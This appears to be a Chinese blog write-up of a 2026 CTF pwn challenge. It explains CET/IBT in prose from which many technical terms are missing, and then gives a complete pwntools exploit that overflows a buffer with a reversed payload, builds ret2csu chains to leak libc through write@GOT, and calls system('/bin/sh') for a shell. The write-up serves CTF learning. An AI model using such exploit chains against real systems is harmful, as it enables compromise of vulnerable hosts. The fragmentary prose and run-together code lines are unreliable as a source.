747 字
2 分钟
2026方班杯PWN_loginin
赛场上问问出来了,但是感觉估计没成绩。。。归根结底还是因为没学到,这期就拿这道模板题来学学原理了。




在中我们构造一个倒序的函数,然后在发送前调用函数倒一下序即可。

:编译器在每个可以间接跳转的目标(函数入口和某些跳转表)的指令前面插入一条(位为),硬件会维护一个状态机,每次间接跳转时都会检查目标地址第一条指令是否为,如果不是就会终止进程。
影子栈:会额外维护独立的影子栈,存储在不易篡改的内存区域,执行时。返回地址会压入常规栈和影子栈。执行时,会比较常规栈的返回地址和影子栈弹出的值。如果匹配就会正常进行,否则就无法正常进行。(本题实际未开启)
而在是初始化就会调用的一个函数,他有合法的。


所以这题的思路就是利用来泄露的真实地址计算的基址。然后算出函数的地址,调用。
我们按顺序对段的寄存器操作。设置为(目的是让地址那里的变成方便操作),设置为,绕过下面的循环跳转(比较和的判断)。就分别填入要调用函数的第一二三个参数。(比如打印()的地址,就按照来分别填入参数),设置为存有要跳转的函数地址的变量。
这里注意我们还在中间构造了一次向段(可读可写段)写入,和的实际地址。后续我们调用时就可以直接将段的我们写入的字符串和指向地址的指针存入寄存器然后调用。
EXP:
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = process('./attachment_patched')
#gdb.attach(p)elf = ELF('./attachment_patched')libc = ELF('./libc.so.6')
ret_addr = 0x40101ACSU_CALL = 0x401340CSU_POP = 0x40135A
write_got = elf.got['write']read_got = elf.got['read']main_addr = elf.symbols['main']
bss = elf.bss() + 0x200bss_binsh = bssbss_system = bss + 8
def reverse(payload): return payload[::-1]
offset = 128 + 8
rop_write = flat([ b'a' * offset, p64(CSU_POP), p64(0), p64(1), p64(1), p64(write_got), p64(8), p64(write_got), p64(CSU_CALL), p64(0) * 7, p64(CSU_POP)])
rop_read = flat([ p64(0), p64(1), p64(0), p64(bss_binsh), p64(16), p64(read_got), p64(CSU_CALL), p64(0) * 7, p64(main_addr)])
payload1 = reverse(rop_write + rop_read)
p.recvuntil(b'message: ')p.send(payload1)
p.recv(8)leaked = p.recv(8)write_addr = u64(leaked)libc.address = write_addr - libc.symbols['write']log.success(f"libc base: {hex(libc.address)}")
system_addr = libc.symbols['system']log.success(f"system: {hex(system_addr)}")
p.send(b'/bin/sh\x00' + p64(system_addr))
rop_system = flat([ b'a' * offset, p64(CSU_POP), p64(0), p64(1), p64(bss_binsh), p64(0), p64(0), p64(bss_system), p64(CSU_CALL), p64(0) * 7,])
payload2 = reverse(rop_system)p.recvuntil(b'message: ')p.send(payload2)p.recv(8)
p.interactive() 2026方班杯PWN_loginin
https://mkrari.cn/posts/fangbanbei2026_pwn_loginin/